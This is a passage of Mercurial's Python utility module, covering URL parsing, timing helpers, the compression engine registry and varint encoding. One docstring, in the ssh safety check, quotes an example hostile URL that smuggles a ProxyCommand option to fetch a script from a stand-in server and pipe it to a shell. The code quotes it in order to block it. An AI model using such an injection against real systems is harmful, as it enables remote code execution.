                s += self.host
        if self.port:
            s += ':' + urlreq.quote(self.port)
        if self.host:
            s += '/'
        if self.path:
            # TODO: similar to the query string, we should not unescape the
            # path when we store it, the path might contain '%2f' = '/',
            # which we should *not* escape.
            s += urlreq.quote(self.path, safe=self._safepchars)
        if self.query:
            # we store the query in escaped form.
            s += '?' + self.query
        if self.fragment is not None:
            s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
        return s

    __str__ = encoding.strmethod(__bytes__)

    def authinfo(self):
        user, passwd = self.user, self.passwd
        try:
            self.user, self.passwd = None, None
            s = bytes(self)
        finally:
            self.user, self.passwd = user, passwd
        if not self.user:
            return (s, None)
        # authinfo[1] is passed to urllib2 password manager, and its
        # URIs must not contain credentials. The host is passed in the
        # URIs list because Python < 2.4.3 uses only that to search for
        # a password.
        return (s, (None, (s, self.host),
                    self.user, self.passwd or ''))

    def isabs(self):
        if self.scheme and self.scheme != 'file':
            return True # remote URL
        if hasdriveletter(self.path):
            return True # absolute for our purposes - can't be joined()
        if self.path.startswith(br'\\'):
            return True # Windows UNC path
        if self.path.startswith('/'):
            return True # POSIX-style
        return False

    def localpath(self):
        if self.scheme == 'file' or self.scheme == 'bundle':
            path = self.path or '/'
            # For Windows, we need to promote hosts containing drive
            # letters to paths with drive letters.
            if hasdriveletter(self._hostport):
                path = self._hostport + '/' + self.path
            elif (self.host is not None and self.path
                  and not hasdriveletter(path)):
                path = '/' + path
            return path
        return self._origpath

    def islocal(self):
        '''whether localpath will return something that posixfile can open'''
        return (not self.scheme or self.scheme == 'file'
                or self.scheme == 'bundle')

def hasscheme(path):
    return bool(url(path).scheme)

def hasdriveletter(path):
    return path and path[1:2] == ':' and path[0:1].isalpha()

def urllocalpath(path):
    return url(path, parsequery=False, parsefragment=False).localpath()

def checksafessh(path):
    """check if a path / url is a potentially unsafe ssh exploit (SEC)

    This is a sanity check for ssh urls. ssh will parse the first item as
    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
    Let's prevent these potentially exploited urls entirely and warn the
    user.

    Raises an error.Abort when the url is unsafe.
    """
    path = urlreq.unquote(path)
    if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
        raise error.Abort(_('potentially unsafe url: %r') %
                          (pycompat.bytestr(path),))

def hidepassword(u):
    '''hide user credential in a url string'''
    u = url(u)
    if u.passwd:
        u.passwd = '***'
    return bytes(u)

def removeauth(u):
    '''remove all authentication information from a url string'''
    u = url(u)
    u.user = u.passwd = None
    return bytes(u)

timecount = unitcountfn(
    (1, 1e3, _('%.0f s')),
    (100, 1, _('%.1f s')),
    (10, 1, _('%.2f s')),
    (1, 1, _('%.3f s')),
    (100, 0.001, _('%.1f ms')),
    (10, 0.001, _('%.2f ms')),
    (1, 0.001, _('%.3f ms')),
    (100, 0.000001, _('%.1f us')),
    (10, 0.000001, _('%.2f us')),
    (1, 0.000001, _('%.3f us')),
    (100, 0.000000001, _('%.1f ns')),
    (10, 0.000000001, _('%.2f ns')),
    (1, 0.000000001, _('%.3f ns')),
    )

@attr.s
class timedcmstats(object):
    """Stats information produced by the timedcm context manager on entering."""

    # the starting value of the timer as a float (meaning and resulution is
    # platform dependent, see util.timer)
    start = attr.ib(default=attr.Factory(lambda: timer()))
    # the number of seconds as a floating point value; starts at 0, updated when
    # the context is exited.
    elapsed = attr.ib(default=0)
    # the number of nested timedcm context managers.
    level = attr.ib(default=1)

    def __bytes__(self):
        return timecount(self.elapsed) if self.elapsed else '<unknown>'

    __str__ = encoding.strmethod(__bytes__)

@contextlib.contextmanager
def timedcm(whencefmt, *whenceargs):
    """A context manager that produces timing information for a given context.

    On entering a timedcmstats instance is produced.

    This context manager is reentrant.

    """
    # track nested context managers
    timedcm._nested += 1
    timing_stats = timedcmstats(level=timedcm._nested)
    try:
        with tracing.log(whencefmt, *whenceargs):
            yield timing_stats
    finally:
        timing_stats.elapsed = timer() - timing_stats.start
        timedcm._nested -= 1

timedcm._nested = 0

def timed(func):
    '''Report the execution time of a function call to stderr.

    During development, use as a decorator when you need to measure
    the cost of a function, e.g. as follows:

    @util.timed
    def foo(a, b, c):
        pass
    '''

    def wrapper(*args, **kwargs):
        with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
            result = func(*args, **kwargs)
        stderr = procutil.stderr
        stderr.write('%s%s: %s\n' % (
            ' ' * time_stats.level * 2, pycompat.bytestr(func.__name__),
            time_stats))
        return result
    return wrapper

_sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
              ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))

def sizetoint(s):
    '''Convert a space specifier to a byte count.

    >>> sizetoint(b'30')
    30
    >>> sizetoint(b'2.2kb')
    2252
    >>> sizetoint(b'6M')
    6291456
    '''
    t = s.strip().lower()
    try:
        for k, u in _sizeunits:
            if t.endswith(k):
                return int(float(t[:-len(k)]) * u)
        return int(t)
    except ValueError:
        raise error.ParseError(_("couldn't parse size: %s") % s)

class hooks(object):
    '''A collection of hook functions that can be used to extend a
    function's behavior. Hooks are called in lexicographic order,
    based on the names of their sources.'''

    def __init__(self):
        self._hooks = []

    def add(self, source, hook):
        self._hooks.append((source, hook))

    def __call__(self, *args):
        self._hooks.sort(key=lambda x: x[0])
        results = []
        for source, hook in self._hooks:
            results.append(hook(*args))
        return results

def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
    '''Yields lines for a nicely formatted stacktrace.
    Skips the 'skip' last entries, then return the last 'depth' entries.
    Each file+linenumber is formatted according to fileline.
    Each line is formatted according to line.
    If line is None, it yields:
      length of longest filepath+line number,
      filepath+linenumber,
      function

    Not be used in production code but very convenient while developing.
    '''
    entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
        for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
        ][-depth:]
    if entries:
        fnmax = max(len(entry[0]) for entry in entries)
        for fnln, func in entries:
            if line is None:
                yield (fnmax, fnln, func)
            else:
                yield line % (fnmax, fnln, func)

def debugstacktrace(msg='stacktrace', skip=0,
                    f=procutil.stderr, otherf=procutil.stdout, depth=0):
    '''Writes a message to f (stderr) with a nicely formatted stacktrace.
    Skips the 'skip' entries closest to the call, then show 'depth' entries.
    By default it will flush stdout first.
    It can be used everywhere and intentionally does not require an ui object.
    Not be used in production code but very convenient while developing.
    '''
    if otherf:
        otherf.flush()
    f.write('%s at:\n' % msg.rstrip())
    for line in getstackframes(skip + 1, depth=depth):
        f.write(line)
    f.flush()

class dirs(object):
    '''a multiset of directory names from a dirstate or manifest'''

    def __init__(self, map, skip=None):
        self._dirs = {}
        addpath = self.addpath
        if safehasattr(map, 'iteritems') and skip is not None:
            for f, s in map.iteritems():
                if s[0] != skip:
                    addpath(f)
        else:
            for f in map:
                addpath(f)

    def addpath(self, path):
        dirs = self._dirs
        for base in finddirs(path):
            if base in dirs:
                dirs[base] += 1
                return
            dirs[base] = 1

    def delpath(self, path):
        dirs = self._dirs
        for base in finddirs(path):
            if dirs[base] > 1:
                dirs[base] -= 1
                return
            del dirs[base]

    def __iter__(self):
        return iter(self._dirs)

    def __contains__(self, d):
        return d in self._dirs

if safehasattr(parsers, 'dirs'):
    dirs = parsers.dirs

def finddirs(path):
    pos = path.rfind('/')
    while pos != -1:
        yield path[:pos]
        pos = path.rfind('/', 0, pos)

# compression code

SERVERROLE = 'server'
CLIENTROLE = 'client'

compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
                                               (u'name', u'serverpriority',
                                                u'clientpriority'))

class compressormanager(object):
    """Holds registrations of various compression engines.

    This class essentially abstracts the differences between compression
    engines to allow new compression formats to be added easily, possibly from
    extensions.

    Compressors are registered against the global instance by calling its
    ``register()`` method.
    """
    def __init__(self):
        self._engines = {}
        # Bundle spec human name to engine name.
        self._bundlenames = {}
        # Internal bundle identifier to engine name.
        self._bundletypes = {}
        # Revlog header to engine name.
        self._revlogheaders = {}
        # Wire proto identifier to engine name.
        self._wiretypes = {}

    def __getitem__(self, key):
        return self._engines[key]

    def __contains__(self, key):
        return key in self._engines

    def __iter__(self):
        return iter(self._engines.keys())

    def register(self, engine):
        """Register a compression engine with the manager.

        The argument must be a ``compressionengine`` instance.
        """
        if not isinstance(engine, compressionengine):
            raise ValueError(_('argument must be a compressionengine'))

        name = engine.name()

        if name in self._engines:
            raise error.Abort(_('compression engine %s already registered') %
                              name)

        bundleinfo = engine.bundletype()
        if bundleinfo:
            bundlename, bundletype = bundleinfo

            if bundlename in self._bundlenames:
                raise error.Abort(_('bundle name %s already registered') %
                                  bundlename)
            if bundletype in self._bundletypes:
                raise error.Abort(_('bundle type %s already registered by %s') %
                                  (bundletype, self._bundletypes[bundletype]))

            # No external facing name declared.
            if bundlename:
                self._bundlenames[bundlename] = name

            self._bundletypes[bundletype] = name

        wiresupport = engine.wireprotosupport()
        if wiresupport:
            wiretype = wiresupport.name
            if wiretype in self._wiretypes:
                raise error.Abort(_('wire protocol compression %s already '
                                    'registered by %s') %
                                  (wiretype, self._wiretypes[wiretype]))

            self._wiretypes[wiretype] = name

        revlogheader = engine.revlogheader()
        if revlogheader and revlogheader in self._revlogheaders:
            raise error.Abort(_('revlog header %s already registered by %s') %
                              (revlogheader, self._revlogheaders[revlogheader]))

        if revlogheader:
            self._revlogheaders[revlogheader] = name

        self._engines[name] = engine

    @property
    def supportedbundlenames(self):
        return set(self._bundlenames.keys())

    @property
    def supportedbundletypes(self):
        return set(self._bundletypes.keys())

    def forbundlename(self, bundlename):
        """Obtain a compression engine registered to a bundle name.

        Will raise KeyError if the bundle type isn't registered.

        Will abort if the engine is known but not available.
        """
        engine = self._engines[self._bundlenames[bundlename]]
        if not engine.available():
            raise error.Abort(_('compression engine %s could not be loaded') %
                              engine.name())
        return engine

    def forbundletype(self, bundletype):
        """Obtain a compression engine registered to a bundle type.

        Will raise KeyError if the bundle type isn't registered.

        Will abort if the engine is known but not available.
        """
        engine = self._engines[self._bundletypes[bundletype]]
        if not engine.available():
            raise error.Abort(_('compression engine %s could not be loaded') %
                              engine.name())
        return engine

    def supportedwireengines(self, role, onlyavailable=True):
        """Obtain compression engines that support the wire protocol.

        Returns a list of engines in prioritized order, most desired first.

        If ``onlyavailable`` is set, filter out engines that can't be
        loaded.
        """
        assert role in (SERVERROLE, CLIENTROLE)

        attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'

        engines = [self._engines[e] for e in self._wiretypes.values()]
        if onlyavailable:
            engines = [e for e in engines if e.available()]

        def getkey(e):
            # Sort first by priority, highest first. In case of tie, sort
            # alphabetically. This is arbitrary, but ensures output is
            # stable.
            w = e.wireprotosupport()
            return -1 * getattr(w, attr), w.name

        return list(sorted(engines, key=getkey))

    def forwiretype(self, wiretype):
        engine = self._engines[self._wiretypes[wiretype]]
        if not engine.available():
            raise error.Abort(_('compression engine %s could not be loaded') %
                              engine.name())
        return engine

    def forrevlogheader(self, header):
        """Obtain a compression engine registered to a revlog header.

        Will raise KeyError if the revlog header value isn't registered.
        """
        return self._engines[self._revlogheaders[header]]

compengines = compressormanager()

class compressionengine(object):
    """Base class for compression engines.

    Compression engines must implement the interface defined by this class.
    """
    def name(self):
        """Returns the name of the compression engine.

        This is the key the engine is registered under.

        This method must be implemented.
        """
        raise NotImplementedError()

    def available(self):
        """Whether the compression engine is available.

        The intent of this method is to allow optional compression engines
        that may not be available in all installations (such as engines relying
        on C extensions that may not be present).
        """
        return True

    def bundletype(self):
        """Describes bundle identifiers for this engine.

        If this compression engine isn't supported for bundles, returns None.

        If this engine can be used for bundles, returns a 2-tuple of strings of
        the user-facing "bundle spec" compression name and an internal
        identifier used to denote the compression format within bundles. To
        exclude the name from external usage, set the first element to ``None``.

        If bundle compression is supported, the class must also implement
        ``compressstream`` and `decompressorreader``.

        The docstring of this method is used in the help system to tell users
        about this engine.
        """
        return None

    def wireprotosupport(self):
        """Declare support for this compression format on the wire protocol.

        If this compression engine isn't supported for compressing wire
        protocol payloads, returns None.

        Otherwise, returns ``compenginewireprotosupport`` with the following
        fields:

        * String format identifier
        * Integer priority for the server
        * Integer priority for the client

        The integer priorities are used to order the advertisement of format
        support by server and client. The highest integer is advertised
        first. Integers with non-positive values aren't advertised.

        The priority values are somewhat arbitrary and only used for default
        ordering. The relative order can be changed via config options.

        If wire protocol compression is supported, the class must also implement
        ``compressstream`` and ``decompressorreader``.
        """
        return None

    def revlogheader(self):
        """Header added to revlog chunks that identifies this engine.

        If this engine can be used to compress revlogs, this method should
        return the bytes used to identify chunks compressed with this engine.
        Else, the method should return ``None`` to indicate it does not
        participate in revlog compression.
        """
        return None

    def compressstream(self, it, opts=None):
        """Compress an iterator of chunks.

        The method receives an iterator (ideally a generator) of chunks of
        bytes to be compressed. It returns an iterator (ideally a generator)
        of bytes of chunks representing the compressed output.

        Optionally accepts an argument defining how to perform compression.
        Each engine treats this argument differently.
        """
        raise NotImplementedError()

    def decompressorreader(self, fh):
        """Perform decompression on a file object.

        Argument is an object with a ``read(size)`` method that returns
        compressed data. Return value is an object with a ``read(size)`` that
        returns uncompressed data.
        """
        raise NotImplementedError()

    def revlogcompressor(self, opts=None):
        """Obtain an object that can be used to compress revlog entries.

        The object has a ``compress(data)`` method that compresses binary
        data. This method returns compressed binary data or ``None`` if
        the data could not be compressed (too small, not compressible, etc).
        The returned data should have a header uniquely identifying this
        compression format so decompression can be routed to this engine.
        This header should be identified by the ``revlogheader()`` return
        value.

        The object has a ``decompress(data)`` method that decompresses
        data. The method will only be called if ``data`` begins with
        ``revlogheader()``. The method should return the raw, uncompressed
        data or raise a ``StorageError``.

        The object is reusable but is not thread safe.
        """
        raise NotImplementedError()

class _CompressedStreamReader(object):
    def __init__(self, fh):
        if safehasattr(fh, 'unbufferedread'):
            self._reader = fh.unbufferedread
        else:
            self._reader = fh.read
        self._pending = []
        self._pos = 0
        self._eof = False

    def _decompress(self, chunk):
        raise NotImplementedError()

    def read(self, l):
        buf = []
        while True:
            while self._pending:
                if len(self._pending[0]) > l + self._pos:
                    newbuf = self._pending[0]
                    buf.append(newbuf[self._pos:self._pos + l])
                    self._pos += l
                    return ''.join(buf)

                newbuf = self._pending.pop(0)
                if self._pos:
                    buf.append(newbuf[self._pos:])
                    l -= len(newbuf) - self._pos
                else:
                    buf.append(newbuf)
                    l -= len(newbuf)
                self._pos = 0

            if self._eof:
                return ''.join(buf)
            chunk = self._reader(65536)
            self._decompress(chunk)
            if not chunk and not self._pending and not self._eof:
                # No progress and no new data, bail out
                return ''.join(buf)

class _GzipCompressedStreamReader(_CompressedStreamReader):
    def __init__(self, fh):
        super(_GzipCompressedStreamReader, self).__init__(fh)
        self._decompobj = zlib.decompressobj()
    def _decompress(self, chunk):
        newbuf = self._decompobj.decompress(chunk)
        if newbuf:
            self._pending.append(newbuf)
        d = self._decompobj.copy()
        try:
            d.decompress('x')
            d.flush()
            if d.unused_data == 'x':
                self._eof = True
        except zlib.error:
            pass

class _BZ2CompressedStreamReader(_CompressedStreamReader):
    def __init__(self, fh):
        super(_BZ2CompressedStreamReader, self).__init__(fh)
        self._decompobj = bz2.BZ2Decompressor()
    def _decompress(self, chunk):
        newbuf = self._decompobj.decompress(chunk)
        if newbuf:
            self._pending.append(newbuf)
        try:
            while True:
                newbuf = self._decompobj.decompress('')
                if newbuf:
                    self._pending.append(newbuf)
                else:
                    break
        except EOFError:
            self._eof = True

class _TruncatedBZ2CompressedStreamReader(_BZ2CompressedStreamReader):
    def __init__(self, fh):
        super(_TruncatedBZ2CompressedStreamReader, self).__init__(fh)
        newbuf = self._decompobj.decompress('BZ')
        if newbuf:
            self._pending.append(newbuf)

class _ZstdCompressedStreamReader(_CompressedStreamReader):
    def __init__(self, fh, zstd):
        super(_ZstdCompressedStreamReader, self).__init__(fh)
        self._zstd = zstd
        self._decompobj = zstd.ZstdDecompressor().decompressobj()
    def _decompress(self, chunk):
        newbuf = self._decompobj.decompress(chunk)
        if newbuf:
            self._pending.append(newbuf)
        try:
            while True:
                newbuf = self._decompobj.decompress('')
                if newbuf:
                    self._pending.append(newbuf)
                else:
                    break
        except self._zstd.ZstdError:
            self._eof = True

class _zlibengine(compressionengine):
    def name(self):
        return 'zlib'

    def bundletype(self):
        """zlib compression using the DEFLATE algorithm.

        All Mercurial clients should support this format. The compression
        algorithm strikes a reasonable balance between compression ratio
        and size.
        """
        return 'gzip', 'GZ'

    def wireprotosupport(self):
        return compewireprotosupport('zlib', 20, 20)

    def revlogheader(self):
        return 'x'

    def compressstream(self, it, opts=None):
        opts = opts or {}

        z = zlib.compressobj(opts.get('level', -1))
        for chunk in it:
            data = z.compress(chunk)
            # Not all calls to compress emit data. It is cheaper to inspect
            # here than to feed empty chunks through generator.
            if data:
                yield data

        yield z.flush()

    def decompressorreader(self, fh):
        return _GzipCompressedStreamReader(fh)

    class zlibrevlogcompressor(object):
        def compress(self, data):
            insize = len(data)
            # Caller handles empty input case.
            assert insize > 0

            if insize < 44:
                return None

            elif insize <= 1000000:
                compressed = zlib.compress(data)
                if len(compressed) < insize:
                    return compressed
                return None

            # zlib makes an internal copy of the input buffer, doubling
            # memory usage for large inputs. So do streaming compression
            # on large inputs.
            else:
                z = zlib.compressobj()
                parts = []
                pos = 0
                while pos < insize:
                    pos2 = pos + 2**20
                    parts.append(z.compress(data[pos:pos2]))
                    pos = pos2
                parts.append(z.flush())

                if sum(map(len, parts)) < insize:
                    return ''.join(parts)
                return None

        def decompress(self, data):
            try:
                return zlib.decompress(data)
            except zlib.error as e:
                raise error.StorageError(_('revlog decompress error: %s') %
                                         stringutil.forcebytestr(e))

    def revlogcompressor(self, opts=None):
        return self.zlibrevlogcompressor()

compengines.register(_zlibengine())

class _bz2engine(compressionengine):
    def name(self):
        return 'bz2'

    def bundletype(self):
        """An algorithm that produces smaller bundles than ``gzip``.

        All Mercurial clients should support this format.

        This engine will likely produce smaller bundles than ``gzip`` but
        will be significantly slower, both during compression and
        decompression.

        If available, the ``zstd`` engine can yield similar or better
        compression at much higher speeds.
        """
        return 'bzip2', 'BZ'

    # We declare a protocol name but don't advertise by default because
    # it is slow.
    def wireprotosupport(self):
        return compewireprotosupport('bzip2', 0, 0)

    def compressstream(self, it, opts=None):
        opts = opts or {}
        z = bz2.BZ2Compressor(opts.get('level', 9))
        for chunk in it:
            data = z.compress(chunk)
            if data:
                yield data

        yield z.flush()

    def decompressorreader(self, fh):
        return _BZ2CompressedStreamReader(fh)

compengines.register(_bz2engine())

class _truncatedbz2engine(compressionengine):
    def name(self):
        return 'bz2truncated'

    def bundletype(self):
        return None, '_truncatedBZ'

    # We don't implement compressstream because it is hackily handled elsewhere.

    def decompressorreader(self, fh):
        return _TruncatedBZ2CompressedStreamReader(fh)

compengines.register(_truncatedbz2engine())

class _noopengine(compressionengine):
    def name(self):
        return 'none'

    def bundletype(self):
        """No compression is performed.

        Use this compression engine to explicitly disable compression.
        """
        return 'none', 'UN'

    # Clients always support uncompressed payloads. Servers don't because
    # unless you are on a fast network, uncompressed payloads can easily
    # saturate your network pipe.
    def wireprotosupport(self):
        return compewireprotosupport('none', 0, 10)

    # We don't implement revlogheader because it is handled specially
    # in the revlog class.

    def compressstream(self, it, opts=None):
        return it

    def decompressorreader(self, fh):
        return fh

    class nooprevlogcompressor(object):
        def compress(self, data):
            return None

    def revlogcompressor(self, opts=None):
        return self.nooprevlogcompressor()

compengines.register(_noopengine())

class _zstdengine(compressionengine):
    def name(self):
        return 'zstd'

    @propertycache
    def _module(self):
        # Not all installs have the zstd module available. So defer importing
        # until first access.
        try:
            from . import zstd
            # Force delayed import.
            zstd.__version__
            return zstd
        except ImportError:
            return None

    def available(self):
        return bool(self._module)

    def bundletype(self):
        """A modern compression algorithm that is fast and highly flexible.

        Only supported by Mercurial 4.1 and newer clients.

        With the default settings, zstd compression is both faster and yields
        better compression than ``gzip``. It also frequently yields better
        compression than ``bzip2`` while operating at much higher speeds.

        If this engine is available and backwards compatibility is not a
        concern, it is likely the best available engine.
        """
        return 'zstd', 'ZS'

    def wireprotosupport(self):
        return compewireprotosupport('zstd', 50, 50)

    def revlogheader(self):
        return '\x28'

    def compressstream(self, it, opts=None):
        opts = opts or {}
        # zstd level 3 is almost always significantly faster than zlib
        # while providing no worse compression. It strikes a good balance
        # between speed and compression.
        level = opts.get('level', 3)

        zstd = self._module
        z = zstd.ZstdCompressor(level=level).compressobj()
        for chunk in it:
            data = z.compress(chunk)
            if data:
                yield data

        yield z.flush()

    def decompressorreader(self, fh):
        return _ZstdCompressedStreamReader(fh, self._module)

    class zstdrevlogcompressor(object):
        def __init__(self, zstd, level=3):
            # TODO consider omitting frame magic to save 4 bytes.
            # This writes content sizes into the frame header. That is
            # extra storage. But it allows a correct size memory allocation
            # to hold the result.
            self._cctx = zstd.ZstdCompressor(level=level)
            self._dctx = zstd.ZstdDecompressor()
            self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
            self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE

        def compress(self, data):
            insize = len(data)
            # Caller handles empty input case.
            assert insize > 0

            if insize < 50:
                return None

            elif insize <= 1000000:
                compressed = self._cctx.compress(data)
                if len(compressed) < insize:
                    return compressed
                return None
            else:
                z = self._cctx.compressobj()
                chunks = []
                pos = 0
                while pos < insize:
                    pos2 = pos + self._compinsize
                    chunk = z.compress(data[pos:pos2])
                    if chunk:
                        chunks.append(chunk)
                    pos = pos2
                chunks.append(z.flush())

                if sum(map(len, chunks)) < insize:
                    return ''.join(chunks)
                return None

        def decompress(self, data):
            insize = len(data)

            try:
                # This was measured to be faster than other streaming
                # decompressors.
                dobj = self._dctx.decompressobj()
                chunks = []
                pos = 0
                while pos < insize:
                    pos2 = pos + self._decompinsize
                    chunk = dobj.decompress(data[pos:pos2])
                    if chunk:
                        chunks.append(chunk)
                    pos = pos2
                # Frame should be exhausted, so no finish() API.

                return ''.join(chunks)
            except Exception as e:
                raise error.StorageError(_('revlog decompress error: %s') %
                                         stringutil.forcebytestr(e))

    def revlogcompressor(self, opts=None):
        opts = opts or {}
        return self.zstdrevlogcompressor(self._module,
                                         level=opts.get('level', 3))

compengines.register(_zstdengine())

def bundlecompressiontopics():
    """Obtains a list of available bundle compressions for use in help."""
    # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
    items = {}

    # We need to format the docstring. So use a dummy object/type to hold it
    # rather than mutating the original.
    class docobject(object):
        pass

    for name in compengines:
        engine = compengines[name]

        if not engine.available():
            continue

        bt = engine.bundletype()
        if not bt or not bt[0]:
            continue

        doc = b'``%s``\n    %s' % (bt[0], pycompat.getdoc(engine.bundletype))

        value = docobject()
        value.__doc__ = pycompat.sysstr(doc)
        value._origdoc = engine.bundletype.__doc__
        value._origfunc = engine.bundletype

        items[bt[0]] = value

    return items

i18nfunctions = bundlecompressiontopics().values()

# convenient shortcut
dst = debugstacktrace

def safename(f, tag, ctx, others=None):
    """
    Generate a name that it is safe to rename f to in the given context.

    f:      filename to rename
    tag:    a string tag that will be included in the new name
    ctx:    a context, in which the new name must not exist
    others: a set of other filenames that the new name must not be in

    Returns a file name of the form oldname~tag[~number] which does not exist
    in the provided context and is not in the set of other names.
    """
    if others is None:
        others = set()

    fn = '%s~%s' % (f, tag)
    if fn not in ctx and fn not in others:
        return fn
    for n in itertools.count(1):
        fn = '%s~%s~%s' % (f, tag, n)
        if fn not in ctx and fn not in others:
            return fn

def readexactly(stream, n):
    '''read n bytes from stream.read and abort if less was available'''
    s = stream.read(n)
    if len(s) < n:
        raise error.Abort(_("stream ended unexpectedly"
                           " (got %d bytes, expected %d)")
                          % (len(s), n))
    return s

def uvarintencode(value):
    """Encode an unsigned integer value to a varint.

    A varint is a variable length integer of 1 or more bytes. Each byte
    except the last has the most significant bit set. The lower 7 bits of
    each byte store the 2's complement representation, least significant group
    first.

    >>> uvarintencode(0)
    '\\x00'
    >>> uvarintencode(1)
    '\\x01'
    >>> uvarintencode(127)
    '\\x7f'
    >>> uvarintencode(1337)
    '\\xb9\\n'
    >>> uvarintencode(65536)
    '\\x80\\x80\\x04'
    >>> uvarintencode(-1)
    Traceback (most recent call last):
        ...
    ProgrammingError: negative value for uvarint: -1
    """
    if value < 0:
        raise error.ProgrammingError('negative value for uvarint: %d'
                                     % value)
    bits = value & 0x7f
    value >>= 7
    bytes = []
    while value:
        bytes.append(pycompat.bytechr(0x80 | bits))
        bits = value & 0x7f
        value >>= 7
    bytes.append(pycompat.bytechr(bits))

    return ''.join(bytes)

def uvarintdecodestream(fh):
    """Decode an unsigned variable length integer from a stream.

    The passed argument is anything that has a ``.read(N)`` method.

    >>> try:
    ...     from StringIO import StringIO as BytesIO
    ... except ImportError:
    ...     from io import BytesIO
    >>> uvarintdecodestream(BytesIO(b'\\x00'))
    0
    >>> uvarintdecodestream(BytesIO(b'\\x01'))
    1
    >>> uvarintdecodestream(BytesIO(b'\\x7f'))
    127
    >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
    1337
    >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
    65536
    >>> uvarintdecodestream(BytesIO(b'\\x80'))
    Traceback (most recent call last):
        ...
    Abort: stream ended unexpectedly (got 0 bytes, expected 1)
    """
    result = 0
    shift = 0
    while True:
        byte = ord(readexactly(fh, 1))
        result |= ((byte & 0x7f) << shift)
        if not (byte & 0x80):
            return result
        shift += 7